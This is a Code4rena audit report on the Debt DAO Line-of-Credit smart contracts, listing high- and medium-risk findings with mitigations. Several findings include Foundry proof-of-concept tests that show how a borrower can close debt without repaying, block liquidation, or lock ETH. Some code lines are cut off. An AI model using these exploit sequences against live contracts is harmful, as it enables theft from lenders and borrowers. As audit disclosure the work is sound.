Learn more →





Debt DAO contest Findings & Analysis Report

2023-02-07

Table of contents

- Overview
 - About C4
 - Wardens
- Summary
- Scope
- Severity Criteria
- High Risk Findings (6)
 - [H-01] Call to declareInsolvent() would revert when contract status reaches liquidation point after repayment of credit position 1
 - [H-O2] Non-existing revenue contract can be passed to claimRevenue to send all tokens to treasury
 - [H-03] addCredit / increaseCredit cannot be called by lender first when token is ETH
 - [H-O4] Borrower can close a credit without repaying debt
 - [H-O5] Borrower can craft a borrow that cannot be liquidated, even by arbiter.
 - [H-06] Repaying a line of credit with a higher than necessary claimed revenue amount will force the borrower into liquidation

- Medium Risk Findings (11)
 - [M-01] Borrower can by mistake add own money to credit if credit is in ETH
 - [M-02] Mutual consent cannot be revoked and stays valid forever
 - [M-03] Borrower/Lender excessive ETH not refunded and permanently locked in protocol
 - [M-04] Lender can trade claimToken in a malicious way to steal the borrower's money via claimAndRepay() in SpigotedLine by using malicious zeroExTradeData
 - [M-05] Reentrancy bug allows lender to steal other lenders funds
 - [M-06] The lender can draw out extra credit token from borrower's account
 - [M-07] Whitelisted functions aren't scoped to revenue contracts and may lead to unnoticed calls due to selector clashing
 - [M-08] Mistakenly sent eth could be locked
 - [M-09] Variable balance ERC20 support
 - [M-10] address.call{value:x}() should be used instead of payable.transfer()
 - [M-11] Lender can reject closing a position
- Low Risk and Non-Critical Issues
 - Low Risk Issues Summary
 - L-01 Unused/empty receive() / fallback() function
 - L-02 Missing checks for address (0x0) when assigning values to address state variables
 - L-03 Open TODOs
 - Non-Critical Issues Summary
 - N-01 Duplicate import statements
 - N-02 The nonReentrant modifier should occur before all other modifiers

- N-03 Contract implements interface without extending the interface
- N-04 Adding a return statement when the function defines a named return variable, is redundant
- N-05 require() / revert() statements should have descriptive reason strings
- N-06 constant s should be defined rather than using magic numbers
- N-07 Numeric values having to do with time should use time units for readability
- N-08 Use a more recent version of Solidity
- N-09 Use a more recent version of Solidity
- N-10 Use scientific notation (e.g. 1e18) rather than exponentiation (e.g. 10**18)
- N-11 Constant redefined elsewhere
- N-12 Inconsistent spacing in comments
- N-13 Non-library/interface files should use fixed compiler versions, not floating ones
- N-14 File does not contain an SPDX Identifier
- N-15 NatSpec is incomplete
- N-16 Event is missing indexed fields
- N-17 Not using the named return variables anywhere in the function is confusing
- N-18 Duplicated require() / revert() checks should be refactored to a
 modifier or function
- Excluded Non-Critical Issues Findings
- N-19 Return values of approve () not checked
- Gas Optimizations
 - Gas Optimizations Summary
 - G-01 State variables only set in the constructor should be declared immutable

- G-02 Using calldata instead of memory for read-only arguments in external functions saves gas
- G-03 Using storage instead of memory for structs/arrays saves gas
- G-04 Avoid contract existence checks by using low level calls
- G-05 State variables should be cached in stack variables rather than rereading them from storage
- G-06 internal functions only called once can be inlined to save gas
- G-07 Add unchecked {} for subtractions where the operands cannot underflow because of a previous require() or if -statement
- G-08 ++i / i++ should be unchecked{++i} / unchecked{i++} when it is not possible for them to overflow, as is the case when used in for and while -loops
- G-09 require () / revert () strings longer than 32 bytes cost extra gas
- G-10 Optimize names to save gas
- G-11 Usage of uints / ints smaller than 32 bytes (256 bits) incurs overhead
- G-12 Using private rather than public for constants, saves gas
- G-13 Inverting the condition of an <u>if</u> <u>else</u> -statement wastes gas
- G-14 require() or revert() statements that check input arguments should be at the top of the function
- G-15 Use custom errors rather than revert() / require() strings to
 save gas
- G-16 Functions guaranteed to revert when called by normal users can be marked payable
- Excluded findings
- Gas Optimizations Summary
- G-17 Using bool s for storage incurs overhead
- G-18 Using > 0 costs more gas than != 0 when used on a uint in a require() statement

Disclosures

ত Overview

ര

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the Debt DAO smart contract system written in Solidity. The audit contest took place between November 3—November 10 2022.

ശ

Wardens

123 Wardens contributed reports to the Debt DAO contest:

- 1. 0x1f8b
- 2. 0x52
- 3. OxNazgul
- 4. OxRajkumar
- 5. OxRoxas
- 6. OxSmartContract
- 7. Oxbepresent
- 8. OxdeadbeefOx
- 9. **8olidity**
- 10. Amithuddar
- 11. Awesome
- 12. <u>Aymen0909</u>
- 13. B2
- 14. BClabs (nalus and Reptilia)

15. BnkeOxO 16. Ch_301 17. Deekshith99 18. Deivitto 19. Diana 20. Dinesh11G 21. Funen 22. HE1M 23. HardlyCodeMan 24. |||||| 25. **JC** 26. Jeiwan 27. Josiah 28. KingNFT 29. Koolex 30. Lambda 31. Metatron 32. <u>Nyx</u> 33. PaludoXO 34. R2 35. Rahoz 36. RaymondFam 37. RedOneN 38. ReyAdmirado 39. Rolezn 40. Ruhum 41. Saintcode_ 42. <u>Satyam_Sharma</u> 43. SmartSek (OxDjango and hake)

44. <u>TomJ</u>
45. <u>Tomo</u>
46. <u>Trust</u>
47141345
48. <u>a12jmx</u>
49. adriro
50. ajtra
51. aphak5010
52. apostle0x01
53. ayeslick
54. bananasboys (miguelmtzinf and zerOdot)
55. <u>berndartmueller</u>
56. <u>bin2chen</u>
57. brgltd
58. btk
59. bulej93
60. <u>c3phas</u>
61. carlitox477
62. catwhiskeys
63. cccz
64. chObu
65. chaduke
66. chrisdior4
67. cloudjunky
68. codexploder
69. corerouter
70. cryptonue
71. cryptostellar5
72. cryptphi

73. csanuragjain 74. ctf_sec 75. d3e4 76. datapunk 77. delfin454000 78. djxploit 79. durianSausage 80. eierina 81. eighty 82. emrekocak 83. erictee 84. everyanykey 85. exolorkistis 86. fatherOfBlocks 87. <u>gogo</u> 88. hansfriese 89. i_got_hacked 90. immeas 91. <u>joestakey</u> 92. jumpdest7d 93. karanctf 94. ladboy233 95. lotux 96. lukris02 97. martin 98. mcwildy 99. me_na0mi

101. minhquanym

100. merlin

102. <u>oyc_109</u> 103. pashov 104. peanuts 105. pedr02b2 106. perseverance success 107. rbserver 108. rotcivegaf 109, rvierdiiev 110. sakman 111. <u>saneryee</u> 112. <u>seyni</u> 113. shark 114. slowmoses 115. smiling_heretic 116. tnevler 117. trustindistrust 118. wOLfrum 119. yurahod 120. zaskoh This contest was judged by LSDan.

Final report assembled by itsmetechjay.

ക

Summary

The C4 analysis yielded an aggregated total of 17 unique vulnerabilities. Of these vulnerabilities, 6 received a risk rating in the category of HIGH severity and 11 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 78 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 42 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

ക

Scope

The code under review can be found within the <u>C4 Debt DAO contest repository</u>, and is composed of 17 smart contracts written in the Solidity programming language and includes 2,511 lines of Solidity code.

⊘

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities according to a methodology based on **OWASP standards**.

Vulnerabilities are divided into three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

Further information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website.

ക

High Risk Findings (6)

രാ

[H-O1] Call to declareInsolvent() would revert when contract status reaches liquidation point after repayment of credit position 1

Submitted by <u>cryptphi</u>, also found by <u>adriro</u>, <u>Ch_301</u>, <u>PaludoX0</u>, <u>ayeslick</u>, and <u>perseverancesuccess</u>

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L143

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L83-L86

യ Impact

The modifier whileBorrowing() is used along in the call to LineOfCredit.declareInsolvent(). However this check reverts when count == 0 or credits[ids[0]].principal == 0 . Within the contract, any lender can add credit which adds an entry in credits array, credits[ids].

Assume, when borrower chooses lender positions including credits[ids[0]] to draw on, and repays back the loan fully for credits[ids[1]], then the call to declareInsolvent() by the arbiter would revert since it does not pass the whileBorrowing() modifier check due to the ids array index shift in the call to stepQ(), which would shift ids[1] to ids[0], thereby making the condition for credits[ids[0]].principal == 0 be true causing the revert.

യ Proof of Concept

- 1. LineOfCredit contract is set up and 5 lenders have deposited into the contract.
- 2. Alice, the borrower borrows credit from these 5 credit positions including by calling LineOfCredit.borrow() for the position ids.
- 3. Later Alice pays back the loan for credit position id 1 just before the contract gets liquidated.
- 4. At the point where <code>ids.stepQ()</code> is called in <code>_repay()</code>, position 1 is moved to ids[0]
- 5. When contract status is LIQUIDATABLE, no loan drawn on credit position 0 and arbiter calls declareInsolvent(), the call would revert since

```
credits[ids[0]].principal == 0
```

ക

Recommended Mitigation Steps

The modifier whileBorrowing() would need to be reviewed and amended.

dmvt (judge) increased severity to High

[H-O2] Non-existing revenue contract can be passed to claimRevenue to send all tokens to treasury

Submitted by Lambda, also found by berndartmueller, adriro, and aphak5010

Neither SpigotLib.claimRevenue nor SpigotLib._claimRevenue check that the provided revenueContract was registered before. If this is not the case, SpigotLib._claimRevenue assumes that this is a revenue contract with push payments (because self.settings[revenueContract].claimFunction is O) and just returns the difference since the last call to claimRevenue:

SpigotLib.claimRevenue will then read self.settings[revenueContract].ownerSplit, which is O for non-registered revenue contracts:

```
uint256 escrowedAmount = claimed * self.settings[revenueContract
```

Therefore, the whole claimed amount is sent to the treasury.

This becomes very problematic for revenue tokens that use push payments. An attacker (in practice the borrower) can just regularly call <code>claimRevenue</code> with this token and a non-existing revenue contract. All of the tokens that were sent to the spigot since the last call will be sent to the treasury and none to the escrow, i.e. a borrower can ensure that no revenue will be available for the lender, no matter what the configured split is.

ত Proof Of Concept

As mentioned above, the attack pattern works for arbitrary tokens where one (or more) revenue contracts use push payments, i.e. where the balance of the Spigot increases from time to time. Then, the attacker just calls claimRevenue with a non-existing address. This is illustrated in the following diff:

Thanks to this small modification, all of the tokens are sent to the treasury and none are sent to the escrow.

 \mathcal{O}

Recommended Mitigation Steps

Check that a revenue contract was registered before, revert if it does not.

kibagateaux (Debt DAO) confirmed

ര

[H-03] addCredit / increaseCredit cannot be called by lender first when token is ETH

Submitted by Lambda, also found by berndartmueller, Trust, minhquanym, adriro, and HE1M

https://github.com/debtdao/Line-of-

<u>Credit/blob/f32cb3eeb08663f2456bf6e2fba21e964da3e8ae/contracts/modules/credit/LineOfCredit.sol#L234</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/f32cb3eeb08663f2456bf6e2fba21e964da3e8ae/contracts/modules/</u>credit/LineOfCredit.sol#L270

യ Impact

The functions addCredit and increaseCredit both ahve a mutualConsent or mutualConsentById modifier. Furthermore, these functions are payable and the lender needs to send the corresponding ETH with each call. However, if we look at the mutual consent modifier works, we can have a problem:

```
modifier mutualConsent(address signerOne, address signerTwo) {
      if( mutualConsent( signerOne,  signerTwo)) {
        // Run whatever code needed 2/2 consent
      }
}
function mutualConsent(address signerOne, address signerTwo)
        if (msg.sender != signerOne && msg.sender != signerTwo)
        address nonCaller = getNonCaller( signerOne,  signerTwo
        // The consent hash is defined by the hash of the transa
        // which uniquely identifies the function, arguments, ar
        bytes32 expectedHash = keccak256(abi.encodePacked(msg.da
        if (!mutualConsents[expectedHash]) {
            bytes32 newHash = keccak256(abi.encodePacked(msg.dat
            mutualConsents[newHash] = true;
            emit MutualConsentRegistered(newHash);
            return false;
        }
        delete mutualConsents[expectedHash];
        return true;
```

The problem is: On the first call, when the other party has not given consent to the call yet, the modifier does not revert. It sets the consent of the calling party instead.

This is very problematic in combination with sending ETH for two reasons:

- 1. When the lender performs the calls first and sends ETH along with the call, the call will not revert. It will instead set the consent for him, but the sent ETH is lost.
- 2. Even when the lender thinks about this and does not provide any ETH on the first call, the borrower has to perform the second call. Of course, he will not provide the ETH with this call, but this will cause the transaction to revert. There is now no way for the borrower to also grant consent, but still let the lender perform the call.

Proof Of Concept

Lender Alice calls LineOfCredit.addCredit first to add a credit with 1 ETH. She sends 1 ETH with the call. However, because borrower Bob has not performed this call yet, the function body is not executed, but the 1 ETH is still sent. Afterwards, Bob wants to give his consent, so he performs the same call. However, this call reverts, because Bob does not send any ETH with it.

ত Recommended Mitigation Steps

Consider implementing an external function to grant consent to avoid this scenario. Also consider reverting when ETH is sent along, but the other party has not given their consent yet.

dmvt (judge) increased severity to High

kibagateaux (Debt DAO) confirmed

[H-O4] Borrower can close a credit without repaying debt Submitted by Jeiwan, also found by joestakey, berndartmueller, smiling heretic, adriro, hansfriese, and bin2chen

A borrower can close a credit without repaying the debt to the lender. The lender will be left with a bad debt and the borrower will keep the borrowed amount and the collateral.

യ Proof of Concept The close function of LineOfCredit doesn't check whether a credit exists or not. As a result, the count variable is decreased in the internal _close function when the close function is called with an non-existent credit ID: LineOfCredit.sol#L388:

```
function close (bytes 32 id) external payable override returns (bo
    Credit memory credit = credits[id];
    address b = borrower; // gas savings
    if (msg.sender != credit.lender && msg.sender != b) {
     revert CallerAccessDenied();
    }
    // ensure all money owed is accounted for. Accrue facility f
    credit = accrue(credit, id);
    uint256 facilityFee = credit.interestAccrued;
    if(facilityFee > 0) {
      // only allow repaying interest since they are skipping re
     // If principal still owed, close() MUST fail
     LineLib.receiveTokenOrETH(credit.token, b, facilityFee);
     credit = repay(credit, id, facilityFee);
    }
   close(credit, id); // deleted; no need to save to storage
   return true;
}
```

LineOfCredit.sol#L483:

```
// remove from active list
ids.removePosition(id);
unchecked { --count; }

// If all credit lines are closed the the overall Line of Cr
if (count == 0) { _updateStatus(LineLib.STATUS.REPAID); }

emit CloseCreditPosition(id);

return true;
}
```

Proof of Concept:

```
// contracts/tests/LineOfCredit.t.sol
function testCloseWithoutRepaying AUDIT() public {
    assertEq(supportedToken1.balanceOf(address(line)), 0, "Line
    assertEq(supportedToken1.balanceOf(lender), mintAmount, "Ler
   addCredit(address(supportedToken1), 1 ether);
   bytes32 id = line.ids(0);
    assert(id != bytes32(0));
    assertEq(supportedToken1.balanceOf(lender), mintAmount - 1 \epsilon
   hoax(borrower);
   line.borrow(id, 1 ether);
    assertEq(supportedToken1.balanceOf(borrower), mintAmount + 1
    // The credit hasn't been repaid.
    // hoax(borrower);
    // line.depositAndRepay(1 ether);
   hoax (borrower);
    // Closing with a non-existent credit ID.
    line.close(bytes32(uint256(31337)));
    // The debt hasn't been repaid but the status is REPAID.
    assertEq(uint(line.status()), uint(LineLib.STATUS.REPAID));
    // Lender's balance is still reduced by the borrow amount.
    assertEq(supportedToken1.balanceOf(lender), mintAmount - 1 &
```

```
// Borrower's balance still includes the borrowed amount.
assertEq(supportedToken1.balanceOf(borrower), mintAmount + 1
}
```

G)

Recommended Mitigation Steps

In the close function of LineOfCredit, consider ensuring that a credit with the user-supplied ID exists, before closing it.

kibagateaux (Debt DAO) confirmed

ക

[H-O5] Borrower can craft a borrow that cannot be liquidated, even by arbiter.

Submitted by Trust, also found by bin2chen

LineOfCredit manages an array of open credit line identifiers called <code>ids</code>. Many interactions with the Line operate on ids[0], which is presumed to be the oldest borrow which has non zero principal. For example, borrowers must first deposit and repay to ids[0] before other credit lines.

The list is managed by several functions:

- 1. CreditListLib.removePosition deletes parameter id in the ids array
- CreditListLib.stepQ rotates all ids members one to the left, with the leftmost becoming the last element
- 3. _sortIntoQ most complex function, finds the smallest index which can swap identifiers with the parameter id, which satisfies the conditions:
 - 1. target index is not empty
 - 2. there is no principal owed for the target index's credit

The idea I had is that if we could corrupt the ids array so that ids[0] would be zero, but after it there would be some other active borrows, it would be a very severe situation. The whileBorrowing() modifier assumes if the first element has no principal, borrower is not borrowing.

```
modifier whileBorrowing() {
    if(count == 0 || credits[ids[0]].principal == 0) { revert Not
    _;
}
```

It turns out there is a simple sequence of calls which allows borrowing while ids[0] is deleted, and does not re-arrange the new borrow into ids[0]!

- 1. idl = addCredit() add a new credit line, a new id is pushed to the end of ids
 array.
- 2. id2 = addCredit() called again, ids.length = 2
- 4. borrow(id2) will borrow from id2 and call _sortIntoQ. The sorting loop will not find another index other than id2's existing index (id == bytes32(0) is true).

From this sequence, we achieve a borrow while ids[0] is 0! Therefore, credits[ids[0]].principal = credits[0].principal = 0, and whileBorrowing() reverts.

The impact is massive - the following functions are disabled:

```
SecureLine::liquidate()
```

- LineOfCredit::depositAndClose()
- LineOfCredit::depositAndRepay()
- LineOfCredit::claimAndRepay()
- LineOfCredit::claimAndTrade()

ര Impact

Borrower can craft a borrow that cannot be liquidated, even by arbiter. Alternatively, functionality may be completely impaired through no fault of users.

ശ

Proof of Concept

Copy the following code into LineOfCredit.t.sol

```
function addCreditLender2(address token, uint256 amount) public
    // Prepare lender 2 operations, does same as mintAndApprove
    address lender2 = address(21);
    deal(lender2, mintAmount);
    supportedToken1.mint(lender2, mintAmount);
    supportedToken2.mint(lender2, mintAmount);
    unsupportedToken.mint(lender2, mintAmount);
    vm.startPrank(lender2);
    supportedToken1.approve(address(line), MAX INT);
    supportedToken2.approve(address(line), MAX INT);
    unsupportedToken.approve(address(line), MAX INT);
    vm.stopPrank();
    // addCredit logic
    vm.prank(borrower);
    line.addCredit(dRate, fRate, amount, token, lender2);
    vm.stopPrank();
    vm.prank(lender2);
    line.addCredit(dRate, fRate, amount, token, lender2);
    vm.stopPrank();
function test attackUnliquidatable() public {
   bytes32 id 1;
   bytes32 id 2;
    addCredit(address(supportedToken1), 1 ether);
    addCreditLender2(address(supportedToken1), 1 ether);
    id 1 = line.ids(0);
    id 2 = line.ids(1);
    hoax (borrower);
    line.close(id 1);
    hoax (borrower);
    line.borrow(id 2, 1 ether);
    id 1 = line.ids(0);
    id 2 = line.ids(1);
    console.log("id1 : ", uint256(id 1));
    console.log("id2 : ", uint256(id 2));
    vm.warp(ttl+1);
    assert(line.healthcheck() == LineLib.STATUS.LIQUIDATABLE);
    vm.expectRevert(ILineOfCredit.NotBorrowing.selector);
   bool isSolvent = line.declareInsolvent();
}
```



Recommended Mitigation Steps

When sorting new borrows into the ids queue, do not skip any elements.

dmvt (judge) marked as nullified

Trust (warden) commented:

Unclear why this issue is nullified, I have demonstrated a POC that shows line cannot be declared insolvent.

dmvt (judge) re-opened the issue and commented:

Kicking back to the sponsor for another look. I'm inclined to bring this one back as valid unless the sponsor can show why it isn't.

kibagateaux (Debt DAO) confirmed

ക

[H-06] Repaying a line of credit with a higher than necessary claimed revenue amount will force the borrower into liquidation

Submitted by berndartmueller, also found by Trust, hansfriese, adriro, OxdeadbeefOx, aphak5010, and rvierdiiev

A borrower can repay (parts) of a credit line with the <code>SpigotedLine.useAndRepay</code> function. This function will use <code>amount</code> of <code>unusedTokens[credit.token]</code> as a repayment. However, if <code>amount</code> exceeds the principal and the accrued interest, <code>credit.principal</code> will underflow without an error and set the principal value to a very large number.

This a problem because a borrower can unknowingly provide a larger than necessary amount to the SpigotedLine.useAndRepay function to make sure enough funds are used to fully repay the principal and the remaining interest.

Additionally, a lender can do the same thing as the lender can call this function.

ത Impact

The credit.principal underflows without an error and will be set to a very large number. This will force a secured line immediately into liquidation. Additionally,

having a principal value close to 2^256 - 1 will make it hugely expensive to repay the credit line.

ত Proof of Concept

} }

utils/CreditLib.sol#L186

```
function repay(
  ILineOfCredit.Credit memory credit,
 bytes32 id,
 uint256 amount
 external
 returns (ILineOfCredit.Credit memory)
{ unchecked {
    if (amount <= credit.interestAccrued) {</pre>
        credit.interestAccrued -= amount;
        credit.interestRepaid += amount;
        emit RepayInterest(id, amount);
        return credit;
    } else {
        uint256 interest = credit.interestAccrued;
        uint256 principalPayment = amount - interest;
        // update individual credit line denominated in token
        credit.principal -= principalPayment; // @audit-info pot
        credit.interestRepaid += interest;
        credit.interestAccrued = 0;
        emit RepayInterest(id, interest);
        emit RepayPrincipal(id, principalPayment);
        return credit;
```

To demonstrate the issue, copy the following test case and paste it into the SpigotedLine.t.sol test file. Then run forge test --match-test "test_lender_use_and_repay_underflow".

Following scenario causes the repayment to underflow:

- 1. Borrower borrows 1 ether of revenueToken
- 2. 2 ether worth of revenueToken is claimed and traded from the revenue contract
- 3. Use all of the previously claimed funds (2 ether) to repay the line of credit (= 1 ether)
- 4. credit.principal underflows due to principalPayment is larger than credit.principal

```
function test lender use and repay underflow() public {
    uint256 largeRevenueAmount = lentAmount * 2;
   deal(address(lender), lentAmount + 1 ether);
    deal(address(revenueToken), MAX REVENUE);
    address revenueC = address(Oxbeef); // need new spigot for t
   bytes32 id = createCredit(address(revenueToken), Denominati
    // 1. Borrow lentAmount = 1 ether
    borrow(id, lentAmount);
    // 2. Claim and trade largeRevenueAmount = 2 ether (revenue)
   bytes memory tradeData = abi.encodeWithSignature(
      'trade (address, address, uint256, uint256)',
     address (revenueToken),
      Denominations.ETH,
      1 gwei,
     largeRevenueAmount
    ) ;
   hoax(borrower);
    line.claimAndTrade(address(revenueToken), tradeData);
    (, uint256 principalBeforeRepaying,,,,) = line.credits(line
    assertEq(principalBeforeRepaying, lentAmount);
    // 3. Use and repay debt with previously claimed and traded
    vm.prank(lender);
    line.useAndRepay(largeRevenueAmount);
    (, uint256 principal,,,,,) = line.credits(line.ids(0));
    uint256 underflowedPrincipal = principalBeforeRepaying;
    unchecked {
```

```
underflowedPrincipal -= (largeRevenueAmount);
}

// 4. Principal underflowed
assertEq(_principal, underflowedPrincipal);
}
```

ക

Recommended Mitigation Steps

```
Consider asserting amount is less or equal than credit.principal + credit.interestAccrued (require (amount <= credit.principal + credit.interestAccrued); ). Similar as how it is done in

LineOfCredit.depositAndRepay()
```

kibagateaux (Debt DAO) confirmed

ശ

Medium Risk Findings (11)

ഗ

[M-O1] Borrower can by mistake add own money to credit if credit is in ETH

Submitted by rvierdiiev

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L223-L244

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/LineLib.sol#L59-L74

ഗ

Impact

Borrower can mistakenly add own money to credit if credit is in ETH.

ക

Proof of Concept

Function LineOfCredit.addCredit is used to create new credit.

It can be called only after contest of another party.

```
function addCredit(
   uint128 drate,
   uint128 frate,
   uint256 amount,
   address token,
   address lender
   external
   payable
   override
   whileActive
   mutualConsent(lender, borrower)
   returns (bytes32)
   LineLib.receiveTokenOrETH(token, lender, amount);
   bytes32 id = createCredit(lender, token, amount);
   require(interestRate.setRate(id, drate, frate));
   return id;
```

LineLib.receiveTokenOrETH(token, lender, amount) is responsible for getting payment.

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/LineLib.sol#L59-L74

```
} else { // ETH
    if(msg.value < amount) { revert TransferFailed(); }
}
return true;
}</pre>
```

As you can see in case of native token payment, sender is not checked to be msg.sender, so this makes it's possible that borrower can mistakenly pay instead of lender. It sounds funny, but it's possible. What is needed is for the lender to call addCredit first and then borrower calls addCredit and provides value.

ര

Tools Used

VSCode

ര

Recommended Mitigation Steps

Check that if payment in ETH, then lender == msg.sender in addCredit function.

kibagateaux (Debt DAO) confirmed

 $^{\odot}$

[M-O2] Mutual consent cannot be revoked and stays valid forever

Submitted by aphak5010, also found by minhquanym, SmartSek, hansfriese, Jeiwan, rvierdiiev, and HE1M

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/MutualConsent.sol#L11-L68</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L247-L262</u>

 $^{\circ}$

Impact

Contracts that inherit from the MutualConsent contract, have access to a mutualConsent modifier.

Functions that use this modifier need consent from two parties to be called successfully.

Once one party has given consent for a function call, it cannot revoke consent.

This means that the other party can call this function at any time now.

This opens the door for several exploitation paths.

Most notably though the functions LineOfCredit.setRates(),
LineOfCredit.addCredit() and LineOfCredit.increaseCredit() can cause
problems.

One party can use Social Engineering to make the other party consent to multiple function calls and exploit the multiple consents.

Proof of Concept

- 1. A borrower and lender want to change the rates for a credit. The borrower wants to create the possibility for himself to change the rates in the future without the lender's consent.
- 2. The borrower and lender agree to set dRate and fRate to 5%.
- 3. The lender calls the LineOfCredit.setRates() function to give his consent.
- 4. The borrower might now say to the lender "Let's put the rate to 5.1% instead, I will give an extra 0.1%"
- 5. The borrower and lender now both call the LineOfCredit.setRates() function to set the rates to 5.1%.
- 6. The borrower can now set the rates to 5% at any time. E.g. they might increase the rates further in the future (the borrower playing by the rules) and at some point the borrower can decide to set the rates to 5%.

Links:

MutualConsent contract: https://github.com/debtdao/Line-of-

Credit/blob/audit/code4rena-2022-11-03/contracts/utils/MutualConsent.sol

LineOfCredit.setRates() function: https://github.com/debtdao/Line-of-
Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/
credit/LineOfCredit.sol#L247-L262

ര

Tools Used

VSCode

(റ-

Recommended Mitigation Steps

There are several options to fix this issue:

- 1. Add a function to the MutualConsent contract to revoke consent for a function call.
- 2. Make consent valid only for a certain amount of time.
- 3. Invalidate existing consents for a function when function is called with different arguments.

Option 3 requires a lot of additional bookkeeping but is probably the cleanest solution.

kibagateaux (Debt DAO) confirmed

ശ

[M-O3] Borrower/Lender excessive ETH not refunded and permanently locked in protocol

Submitted by OxdeadbeefOx, also found by brgltd, HE1M, eierina, d3e4, lotux, berndartmueller, RedOneN, joestakey, Trust, rbserver, minhquanym, adriro, Ch_301, immeas, cccz, Tomo, ayeslick, codexploder, eighty, Ruhum, carlitox477, perseverancesuccess, Lambda, 8olidity, Koolex, aphak5010, Nyx, and rvierdiiev

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L292

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L315

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L223</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L265</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L71</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L388

ര Impact

The protocol does not refund overpayment of ETH. Excessive ETH is not included in the protocols accounting. As a result, the funds are permanently locked in the protocol (Loss of funds).

There are multiple scenarios where excessive ETH could be sent by Borrowers and Lenders to the protocol.

The vulnerability effects at least five different scenarios and locks both the lender and borrowers ETH in LineOfCredit if overpaid. There is no way to transfer the locked ETH back to the users, as the withdraw methods are dependent on accounting (which is not updated with locked ETH).

This vulnerability impacts EscrowedLine, LineOfCredit, SpigotedLine and SecuredLine.

ಌ

Proof of Concept

The bug resides in receiveTokenOrETH function when receiving ETH.

The function does not handle cases where <code>msg.value</code> is larger than <code>amount</code> meaning a refund is needed (<code>msg.value - amount</code>). In such cases, <code>msg.value</code> is added to the balance of LineOfCredit although only <code>amount</code> is used in internal accounting. Thus the excessive ETH is permanently locked in the contract as the withdraw methods are dependent on the internal accounting.

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L59

```
function receiveTokenOrETH(
   address token,
   address sender,
   uint256 amount
)
   external
   returns (bool)
{
    if(token == address(0)) { revert TransferFailed(); }
    if(token != Denominations.ETH) { // ERC20
        IERC20(token).safeTransferFrom(sender, address(this)
    } else { // ETH
        if(msg.value < amount) { revert TransferFailed(); }
    return true;
}</pre>
```

Scenarios where borrowers ETH funds will be locked in LineOfCredit:

- 1. Borrower calls depositAndClose with an ETH value that is above the owed debt.
- 2. Borrower calls depositAndRepay with an ETH value that is above the amount specified in the parameters.
- 3. Borrower calls close with an ETH value that is above the owed fees.

Scenarios where lenders ETH funds will be locked in LineOfCredit:

- 1. Lender calls addCredit with and ETH value that is greater than the amount parameter.
- 2. Lender calls increaseCredit with and ETH value that is greater than the amount parameter.

The above scenarios will happen when:

- Excessive ETH is sent with the confidence that it will be refunded (expected). Intentionally or by mistake.
- Excessive ETH will be sent (and expected to be refunded) when calling depositeAndClose(), close(id) and depositAndRepay(amount) as they internally update the fees with the _accrue method. The amount changes every second because part of the formula that calculates the fees is based on a multiplication of seconds past the previous calculations. In most cases, the caller will not know the amount of interest that will be accrued and must send excessive ETH to not revert the transaction.
 - The formula that calculates interest:

```
InterestAccrued = (rate.dRate * drawnBalance * timespan) /
INTEREST_DENOMINATOR + (rate.fRate * (facilityBalance - drawnBalance)
* timespan) / INTEREST_DENOMINATOR
```

Where timespan is timespan= block.timestamp - rate.lastAccrued

* Attached link to Debt DAO docs with more information:

https://docs.debtdao.finance/faq/accrued-interest-calculation

The POC includes four of the mentioned scenarios. To run the POC add the below code to the LineOfCredit.t.sol test and execute forge test -v. Expected output:

```
Running 4 tests for contracts/tests/LineOfCredit.t.sol:LineTest
[PASS] test_freeze_eth_addCredit() (gas: 277920)

[PASS] test_freeze_eth_depositAndClose() (gas: 280378)

[PASS] test_freeze_eth_depositAndRepay() (gas: 302991)

[PASS] test_freeze_eth_increaseCredit() (gas: 318830)

Test result: ok. 4 passed; 0 failed; finished in 1.59ms
```

```
function addCreditEth(address token, uint256 amount) interr
   vm.prank(borrower);
   line.addCredit(dRate, fRate, amount, token, lender);
   vm.stopPrank();
   vm.prank(lender);
   line.addCredit{value: amount} (dRate, fRate, amount, toke
   vm.stopPrank();
